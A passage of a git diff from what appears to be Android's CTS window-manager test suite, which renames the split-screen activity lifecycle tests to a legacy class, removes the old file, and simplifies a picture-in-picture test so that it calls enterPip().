+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:ActivityLifecycleSplitScreenTests
+ */
+@MediumTest
+@Presubmit
+@android.server.wm.annotation.Group3
+public class ActivityLifecycleLegacySplitScreenTests extends ActivityLifecycleClientTestBase {
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+ assumeTrue(supportsSplitScreenMultiWindow());
+ // TODO(b/149338177): Fix test to pass with organizer API.
+ mUseTaskOrganizer = false;
+ }
+
+ @Test
+ public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
+ // Launch first activity
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+ // Launch second activity to stop first
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+
+ // Wait for the first activity to stop, so that this event is not included in the logs.
+ waitAndAssertActivityStates(state(firstActivity, ON_STOP));
+
+ // Enter split screen
+ moveTaskToPrimarySplitScreenAndVerify(secondActivity);
+
+ // CLear logs so we can capture just the destroy sequence
+ getLifecycleLog().clear();
+
+ // Start an activity in separate task (will be placed in secondary stack)
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
+ .launch();
+
+ // Finish top activity
+ secondActivity.finish();
+
+ waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
+ state(firstActivity, ON_RESUME));
+
+ // Verify that the first activity was recreated to resume as it was created before
+ // windowing mode was switched
+ LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
+
+ // Verify that the lifecycle state did not change for activity in non-focused stack
+ LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
+ }
+
+ @Test
+ public void testOccludingOnSplitSecondaryStack() throws Exception {
+ // Launch first activity
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+ // Enter split screen
+ moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+ final ComponentName firstActivityName = getComponentName(FirstActivity.class);
+ mWmState.computeState(firstActivityName);
+ int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
+
+ // Launch second activity to side
+ getLifecycleLog().clear();
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+
+ // Launch third activity on top of second
+ getLifecycleLog().clear();
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+ waitAndAssertActivityStates(state(secondActivity, ON_STOP));
+ }
+
+ @Test
+ public void testTranslucentOnSplitSecondaryStack() throws Exception {
+ // Launch first activity
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+ // Enter split screen
+ moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+ final ComponentName firstActivityName = getComponentName(FirstActivity.class);
+ mWmState.computeState(firstActivityName);
+ int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
+
+ // Launch second activity to side
+ getLifecycleLog().clear();
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+
+ // Launch translucent activity on top of second
+ getLifecycleLog().clear();
+
+ new Launcher(TranslucentActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+ waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
+ }
+
+ @Test
+ @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
+ public void testResultInNonFocusedStack() throws Exception {
+ // Launch first activity
+ final Activity callbackTrackingActivity =
+ launchActivityAndWait(CallbackTrackingActivity.class);
+
+ // Enter split screen, the activity will be relaunched.
+ // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
+ moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
+ true/* showSideActivity */);
+ getLifecycleLog().clear();
+
+ // Launch second activity
+ // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
+ Instrumentation.ActivityMonitor activityMonitor = getInstrumentation()
+ .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
+ false /* block */);
+
+ callbackTrackingActivity.startActivityForResult(
+ new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
+
+ // Wait for the ActivityMonitor to be hit
+ final Activity secondActivity = getInstrumentation()
+ .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
+
+ // Wait for second activity to resume
+ assertNotNull("Second activity should be started", secondActivity);
+ waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
+
+ // Verify if the first activity stopped (since it is not currently visible)
+ waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
+
+ // Start an activity in separate task (will be placed in secondary stack)
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+
+ // Finish top activity and verify that activity below became focused.
+ getLifecycleLog().clear();
+ secondActivity.setResult(Activity.RESULT_OK);
+ secondActivity.finish();
+
+ // Check that activity was resumed and result was delivered
+ waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
+ LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ Arrays.asList(ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME), "resume");
+ }
+
+ @Test
+ public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
+ // Launch first activity
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+ // Enter split screen
+ moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+
+ // Start an activity in separate task (will be placed in secondary stack)
+ final Activity newTaskActivity = new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+
+ // Launch second activity, first become stopped
+ getLifecycleLog().clear();
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+
+ // Wait for second activity to resume and first to stop
+ waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
+
+ // Finish top activity
+ getLifecycleLog().clear();
+ secondActivity.finish();
+
+ waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
+ waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
+
+ // Verify that the first activity was restarted to resumed state as it was brought back
+ // after windowing mode was switched
+ LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
+ LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
+ }
+
+ @Test
+ public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
+ // Launch first activity
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+ // Enter split screen
+ moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
+
+ // Launch a translucent activity, first become paused
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+
+ // Wait for first activity to pause
+ waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
+
+ // Start an activity in separate task (will be placed in secondary stack)
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+
+ getLifecycleLog().clear();
+
+ // Finish top activity
+ translucentActivity.finish();
+
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
+
+ // Verify that the first activity was resumed
+ LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+ Arrays.asList(ON_RESUME), "resume");
+ LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
+ getLifecycleLog());
+ }
+
+ @Test
+ public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
+ // Launch a singleTop activity
+ launchActivityAndWait(CallbackTrackingActivity.class);
+
+ // Wait for the activity to resume
+ LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
+
+ // Enter split screen
+ getLifecycleLog().clear();
+ setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY,
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+ // Wait for the activity to relaunch and receive multi-window mode change
+ final List<LifecycleLog.ActivityCallback> expectedEnterSequence =
+ Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
+ ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
+ ON_TOP_POSITION_LOST, ON_PAUSE);
+ waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
+ LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+ Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
+ ON_RESUME), "moveToSplitScreen");
+
+ // Exit split-screen
+ getLifecycleLog().clear();
+ setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+ // Wait for the activity to relaunch and receive multi-window mode change
+ final List<LifecycleLog.ActivityCallback> expectedExitSequence =
+ Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
+ ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_RESUME, ON_TOP_POSITION_GAINED);
+ waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
+ LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+ Arrays.asList(ON_DESTROY, ON_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
+ "moveFromSplitScreen");
+ }
+
+ @Test
+ public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
+
+ // Launch activities and enter split screen. Launched an activity on
+ // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
+ // prior to MULTI_WINDOW_MODE_CHANGED.
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().
+ setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
+ getLaunchActivityBuilder().
+ setTargetActivity(getComponentName(SecondActivity.class)));
+
+ final int displayWindowingMode = getDisplayWindowingModeByActivity(
+ getComponentName(ConfigChangeHandlingActivity.class));
+ if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+ // Wait for the activity to receive the change.
+ waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+ Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
+ LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
+ Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+ "moveToSplitScreen");
+ } else {
+ // For non-fullscreen display mode, there won't be a multi-window callback.
+ waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+ Arrays.asList(ON_TOP_POSITION_LOST));
+ LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+ transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
+ "moveToSplitScreen");
+ }
+
+ // Exit split-screen
+ getLifecycleLog().clear();
+ setActivityTaskWindowingMode(CONFIG_CHANGE_HANDLING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+
+ // Wait for the activity to receive the change
+ final List<LifecycleLog.ActivityCallback> expectedSequence =
+ Arrays.asList(ON_TOP_POSITION_GAINED, ON_MULTI_WINDOW_MODE_CHANGED);
+ waitForActivityTransitions(ConfigChangeHandlingActivity.class, expectedSequence);
+ LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+ transition(ConfigChangeHandlingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
+ "exitSplitScreen");
+ LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+ transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
+ "exitSplitScreen");
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index b9e8b87..7707f98 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -16,7 +16,6 @@
package android.server.wm.lifecycle;
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
@@ -29,11 +28,9 @@
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
-import static org.junit.Assert.assertNotEquals;
import static org.junit.Assume.assumeTrue;
import android.app.Activity;
-import android.content.ComponentName;
import android.platform.test.annotations.Presubmit;
import androidx.test.filters.MediumTest;
@@ -65,17 +62,13 @@
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch Pip-capable activity
- final Activity pipActivity = launchActivityAndWait(PipActivity.class);
+ final PipActivity pipActivity = launchActivityAndWait(PipActivity.class);
waitAndAssertActivityStates(state(firstActivity, ON_STOP));
// Move activity to Picture-In-Picture
getLifecycleLog().clear();
- final ComponentName pipActivityName = getComponentName(PipActivity.class);
- mWmState.computeState(pipActivityName);
- final int stackId = mWmState.getStackIdByActivity(pipActivityName);
- assertNotEquals(stackId, INVALID_STACK_ID);
- moveTopActivityToPinnedRootTask(stackId);
+ pipActivity.enterPip();
// Wait and assert lifecycle
waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
@@ -249,8 +242,6 @@
.launch();
LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "launchToSide");
LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
"launchBelow");
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
deleted file mode 100644
index 30da1c4..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ /dev/null
@@ -1,366 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.wm.lifecycle;
-
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
-
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.platform.test.annotations.Presubmit;
-
-import androidx.test.filters.MediumTest;
-
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Test;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Build/Install/Run:
- * atest CtsWindowManagerDeviceTestCases:ActivityLifecycleSplitScreenTests
- */
-@MediumTest
-@Presubmit
-@android.server.wm.annotation.Group3
-public class ActivityLifecycleSplitScreenTests extends ActivityLifecycleClientTestBase {
-
- @Before
- public void setUp() throws Exception {
- super.setUp();
- assumeTrue(supportsSplitScreenMultiWindow());
- // TODO(b/149338177): Fix test to pass with organizer API.
- mUseTaskOrganizer = false;
- }
-
- @Test
- public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
- // Launch first activity
- final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
- // Launch second activity to stop first
- final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-
- // Wait for the first activity to stop, so that this event is not included in the logs.
- waitAndAssertActivityStates(state(firstActivity, ON_STOP));
-
- // Enter split screen
- moveTaskToPrimarySplitScreenAndVerify(secondActivity);
-
- // CLear logs so we can capture just the destroy sequence
- getLifecycleLog().clear();
-
- // Start an activity in separate task (will be placed in secondary stack)
- new Launcher(ThirdActivity.class)
- .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
- .launch();
-
- // Wait for SecondActivity in primary split screen leave minimize dock.
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
- // Finish top activity
- secondActivity.finish();
-
- waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
- state(firstActivity, ON_RESUME));
-
- // Verify that the first activity was recreated to resume as it was created before
- // windowing mode was switched
- LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
-
- // Verify that the lifecycle state did not change for activity in non-focused stack
- LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
- }
-
- @Test
- public void testOccludingOnSplitSecondaryStack() throws Exception {
- // Launch first activity
- final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
- // Enter split screen
- moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
- final ComponentName firstActivityName = getComponentName(FirstActivity.class);
- mWmState.computeState(firstActivityName);
- int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
-
- // Launch second activity to side
- getLifecycleLog().clear();
- final Activity secondActivity = new Launcher(SecondActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .launch();
-
- // Wait for first activity to resume after being moved to split-screen.
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "launchToSide");
-
- // Launch third activity on top of second
- getLifecycleLog().clear();
- new Launcher(ThirdActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .launch();
- waitAndAssertActivityStates(state(secondActivity, ON_STOP));
- }
-
- @Test
- public void testTranslucentOnSplitSecondaryStack() throws Exception {
- // Launch first activity
- final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
- // Enter split screen
- moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
- final ComponentName firstActivityName = getComponentName(FirstActivity.class);
- mWmState.computeState(firstActivityName);
- int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
-
- // Launch second activity to side
- getLifecycleLog().clear();
- final Activity secondActivity = new Launcher(SecondActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .launch();
-
- // Wait for first activity to resume after being moved to split-screen.
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "launchToSide");
-
- // Launch translucent activity on top of second
- getLifecycleLog().clear();
-
- new Launcher(TranslucentActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .launch();
- waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
- }
-
- @Test
- @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
- public void testResultInNonFocusedStack() throws Exception {
- // Launch first activity
- final Activity callbackTrackingActivity =
- launchActivityAndWait(CallbackTrackingActivity.class);
-
- // Enter split screen, the activity will be relaunched.
- // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
- moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
- true/* showSideActivity */);
- getLifecycleLog().clear();
-
- // Launch second activity
- // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
- Instrumentation.ActivityMonitor activityMonitor = getInstrumentation()
- .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
- false /* block */);
-
- callbackTrackingActivity.startActivityForResult(
- new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
-
- // Wait for the ActivityMonitor to be hit
- final Activity secondActivity = getInstrumentation()
- .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
-
- // Wait for second activity to resume
- assertNotNull("Second activity should be started", secondActivity);
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
- // Verify if the first activity stopped (since it is not currently visible)
- waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
-
- // Start an activity in separate task (will be placed in secondary stack)
- new Launcher(ThirdActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .launch();
-
- // Finish top activity and verify that activity below became focused.
- getLifecycleLog().clear();
- secondActivity.setResult(Activity.RESULT_OK);
- secondActivity.finish();
-
- // Check that activity was resumed and result was delivered
- waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME), "resume");
- }
-
- @Test
- public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
- // Launch first activity
- final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
- // Enter split screen
- moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
- // Start an activity in separate task (will be placed in secondary stack)
- final Activity newTaskActivity = new Launcher(ThirdActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .launch();
-
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
- // Launch second activity, first become stopped
- getLifecycleLog().clear();
- final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-
- // Wait for second activity to resume and first to stop
- waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
-
- // Finish top activity
- getLifecycleLog().clear();
- secondActivity.finish();
-
- waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
- waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
-
- // Verify that the first activity was restarted to resumed state as it was brought back
- // after windowing mode was switched
- LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
- LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
- }
-
- @Test
- public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
- // Launch first activity
- final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
- // Enter split screen
- moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
-
- // Launch a translucent activity, first become paused
- final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
-
- // Wait for first activity to pause
- waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
-
- // Start an activity in separate task (will be placed in secondary stack)
- new Launcher(ThirdActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .launch();
-
- getLifecycleLog().clear();
-
- // Finish top activity
- translucentActivity.finish();
-
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
- waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
-
- // Verify that the first activity was resumed
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "resume");
- LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
- getLifecycleLog());
- }
-
- @Test
- public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
- // Launch a singleTop activity
- launchActivityAndWait(CallbackTrackingActivity.class);
-
- // Wait for the activity to resume
- LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
-
- // Enter split screen
- getLifecycleLog().clear();
- setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY,
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
- // Wait for the activity to relaunch and receive multi-window mode change
- final List<LifecycleLog.ActivityCallback> expectedEnterSequence =
- Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
- ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
- ON_TOP_POSITION_LOST, ON_PAUSE);
- waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
- LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
- Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
- ON_RESUME), "moveToSplitScreen");
-
- // Exit split-screen
- getLifecycleLog().clear();
- setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
- // Wait for the activity to relaunch and receive multi-window mode change
- final List<LifecycleLog.ActivityCallback> expectedExitSequence =
- Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
- ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_RESUME, ON_TOP_POSITION_GAINED);
- waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
- LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
- Arrays.asList(ON_DESTROY, ON_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
- "moveFromSplitScreen");
- }
-
- @Test
- public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
-
- // Launch activities and enter split screen. Launched an activity on
- // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
- // prior to MULTI_WINDOW_MODE_CHANGED.
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().
- setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
- getLaunchActivityBuilder().
- setTargetActivity(getComponentName(SecondActivity.class)));
-
- // Wait for the activity to receive the change
- waitForActivityTransitions(ConfigChangeHandlingActivity.class,
- Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
- Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
- "moveToSplitScreen");
-
- // Exit split-screen
- getLifecycleLog().clear();
- setActivityTaskWindowingMode(CONFIG_CHANGE_HANDLING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
- // Wait for the activity to receive the change
- final List<LifecycleLog.ActivityCallback> expectedSequence =
- Arrays.asList(ON_TOP_POSITION_GAINED, ON_MULTI_WINDOW_MODE_CHANGED);
- waitForActivityTransitions(ConfigChangeHandlingActivity.class, expectedSequence);
- LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
- transition(ConfigChangeHandlingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
- "exitSplitScreen");
- LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
- transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
- "exitSplitScreen");
- }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index b104511..de98fe5 100644
